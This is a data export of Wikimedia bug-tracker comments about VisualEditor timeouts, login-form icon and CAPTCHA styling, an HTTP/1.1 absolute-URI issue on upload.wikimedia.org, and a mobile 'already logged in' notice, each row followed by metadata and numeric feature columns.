+Actually closer to 70 on re-test.",,,1373481412,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1
+241627,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"After upping the Varnish backend timeout to 5 minutes http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters?veaction=edit works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.
+
+You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.
+
+More testing is needed with even larger pages. Bug 51053 will be closed when that is done.",,,1373481211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0
+241623,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?",,,1373335525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241619,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).,,,1373334999,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241613,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now.",,,1373133953,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+241606,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (http://en.wikipedia.org/w/index.php?title=California&diff=562339624&oldid=562339237) and I found the same issue with mine (http://en.wikipedia.org/w/index.php?title=California&diff=562390635&oldid=562351322),,,1372684698,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+51660,Having a lock icon to go to secure login on login form is confusing,"When I first saw the lock icon next to the input field on the new login page, I assumed it meant the current page is secure, not that the link is to a secure page. (Not really a bug so much as feedback)
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1371423780,1380994020.0,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,False,PHID-TASK-4wo2v5t34qradc43fw33,task_description,resolved,True,c2,1,False,False,True,-11,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+242578,Having a lock icon to go to secure login on login form is confusing,"Should no longer be an issue since they all seem redirect to https anyway, indeed.",,,1380994020,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242574,Having a lock icon to go to secure login on login form is confusing,Is this still an issue? Current login form as used on Wikimedia sites seems to direct straight over to HTTPS and I don't see a lock icon on any links there.,,,1380125379,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+242570,Having a lock icon to go to secure login on login form is confusing,"Personally I think an unlocked icon would make more sense, since when the icon is so close to the input box, I assume its modifying the input box (saying this box is secure), and not a link to the secure version. Unlocked icon would say to me ""This box is unsecure, go to secure site to fix it"".
+
+OTOH, maybe I'm just weird, and most people interpret the icon differently.",,,1371570774,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0
+242562,Having a lock icon to go to secure login on login form is confusing,"**swalling** wrote:
+
+(In reply to comment #0)
+> When I first saw the lock icon next to the input field on the new login
+> page, I
+> assumed it meant the current page is secure, not that the link is to a secure
+> page. (Not really a bug so much as feedback)
+
+What if we did something like make the lock red?",,,1371519064,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4wo2v5t34qradc43fw33,task_subcomment,,True,c2,1,False,,,-11,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+51467,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"Please see below the transcript of the failed HTTP 1.1 session with upload.wikimedia.org.
+
+The problem appears to be that the server upload.wikimedia.org doesn't properly process absolute URI. Normally clients send it relative URIs. I got this example with misconfigured proxy server. HTTP 1.1 specification demands that clients send absolute URIs to proxies, but my proxy accidentally didn't convert URI absolute->relative. However, HTTP 1.1 specification says that HTTP 1.1 servers ""MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies"", see here http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html
+
+This is a deviation of upload.wikimedia.org from the HTTP 1.1 specification which needs to be fixed.
+
+--- failed HTTP session ---
+GET http://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Pizda.svg/100px-Pizda.svg.png HTTP/1.1^M
+Host: upload.wikimedia.org^M
+Proxy-Connection: keep-alive^M
+Cache-Control: max-age=0^M
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8^M
+User-Agent: Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36^M
+Accept-Encoding: gzip,deflate,sdch^M
+Accept-Language: en-US,en;q=0.8,ru;q=0.6^M
+^M
+HTTP/1.1 404 Not Found^M
+Content-Type: text/html; charset=UTF-8^M
+X-Varnish: 791003890, 1369041883^M
+Via: 1.1 varnish, 1.1 varnish^M
+Content-Length: 279^M
+Accept-Ranges: bytes^M
+Date: Wed, 12 Jun 2013 03:10:50 GMT^M
+Age: 0^M
+Connection: keep-alive^M
+X-Cache: cp1026 miss (0), dysprosium frontend miss (0)^M
+Access-Control-Allow-Origin: *^M
+^M
+<html>
+ <head>
+  <title>404 Not Found</title>
+ </head>
+ <body>
+  <h1>404 Not Found</h1>
+  The resource could not be found.<br /><br />
+Regexp failed to match URI: &quot;http:/upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Pizda.svg/100px-Pizda.svg.png&quot;
+
+
+ </body>
+</html>
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1371009000,1439780243.0,PHID-USER-al2cptgs5ipro254aj4s,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-t7nszklii67ynmoitbh4,task_description,resolved,True,c2,1,False,False,False,-11,True,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+509230,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"This seems to have been fixed now, tested example request via `openssl s_client -connect upload.wikimedia.org:443`.",,,1439780123,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,True,,,102,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+230658,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,"**vagababov** wrote:
+
+This is introduced in: bug 32864, where all multiple slashes are collapsed.
+With absolute URIs this causes problems, since it collapses http:// into http:/",,,1407790511,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,False,,,49,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+230652,Server at http://upload.wikimedia.org isn't HTTP/1.1 compliant: doesn't allow absolute URI in request,*** Bug 53455 has been marked as a duplicate of this bug. ***,,,1377673958,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-t7nszklii67ynmoitbh4,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+58370,Login captcha shown after too many incorrect attempts to log in looks ugly,"Login captcha (in Polish)
+
+Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**Whiteboard**: gci2013
+**URL**: https://en.wikipedia.org/wiki/Special:UserLogin
+
+**Attached**: {F12184}",Low,25.0,1383131280,1385991145.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_description,resolved,True,c2,3,True,False,False,9,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264609,Login captcha shown after too many incorrect attempts to log in looks ugly,"**swalling** wrote:
+
+(In reply to comment #8)
+> Fixed :)
+> 
+> http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000
+
+This looks great. Nice work everyone.",,,1386021282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+264605,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 merged by jenkins-bot:
+Additional styling for CAPTCHA on Special:UserLogin
+
+https://gerrit.wikimedia.org/r/98357",,,1385991358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264599,Login captcha shown after too many incorrect attempts to log in looks ugly,"Fixed :)
+
+http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000",,,1385991145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+264595,Login captcha shown after too many incorrect attempts to log in looks ugly,Ha! Never knew that. Interesting.,,,1385924674,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+264593,Login captcha shown after too many incorrect attempts to log in looks ugly,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that).",,,1385900283,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,13,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+264590,Login captcha shown after too many incorrect attempts to log in looks ugly,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is.",,,1385877510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+264585,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 had a related patch set uploaded by Jcf2000:
+Reformat signin captcha in case of incorrect login
+
+https://gerrit.wikimedia.org/r/98357",,,1385860827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264580,Login captcha shown after too many incorrect attempts to log in looks ugly,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
+(Also, that's an awful solution. :( )",,,1384557711,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+264575,Login captcha shown after too many incorrect attempts to log in looks ugly,"Created attachment 13770
+Signup captcha (in Polish), for comparison
+
+I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.
+
+**Attached**: {F12185}",,,1384266345,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+264569,Login captcha shown after too many incorrect attempts to log in looks ugly,Do you refer to the capture itself? Or the red box?,,,1384262361,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+58359,Special:UserLogin does not inform you you're already logged in on mobile,"**Author:** `swalling`
+
+**Description:**
+Desktop screenshot
+
+On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]
+
+On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F12150}",Low,25.0,1383093660,1388431332.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4b2mxuc52ewo5a775yq7,task_description,resolved,True,c2,3,False,False,False,9,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+263951,Special:UserLogin does not inform you you're already logged in on mobile,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through.",,,1388432112,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+263947,Special:UserLogin does not inform you you're already logged in on mobile,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.,,,1388431423,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+263941,Special:UserLogin does not inform you you're already logged in on mobile,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.
+
+Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!",,,1388431332,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+263939,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 merged by jenkins-bot:
+Show ""already logged-in"" notice at Special:UserLogin
+
+https://gerrit.wikimedia.org/r/104382",,,1388431141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+263938,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 abandoned by Jdlrobson:
+Add ""You're already logged in"" information to Special:UserLogin
+
+Reason:
+This lost the coin toss.
+https://gerrit.wikimedia.org/r/#/c/104382/ got merged instead so this patch is no longer needed.
+
+Thank you so much for the patch though. There was no problem whatsoever with this code.
+
+https://gerrit.wikimedia.org/r/104378",,,1388431130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+263937,Special:UserLogin does not inform you you're already logged in on mobile,"@Jon, I'm not able to modify the status setting...",,,1388372468,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+263936,Special:UserLogin does not inform you you're already logged in on mobile,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.,,,1388370337,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+263932,Special:UserLogin does not inform you you're already logged in on mobile,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches.",,,1388339702,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c2,3,False,,,17,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+263924,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 had a related patch set uploaded by Theopolisme:
+Show ""already logged-in"" notice at Special:UserLogin
+
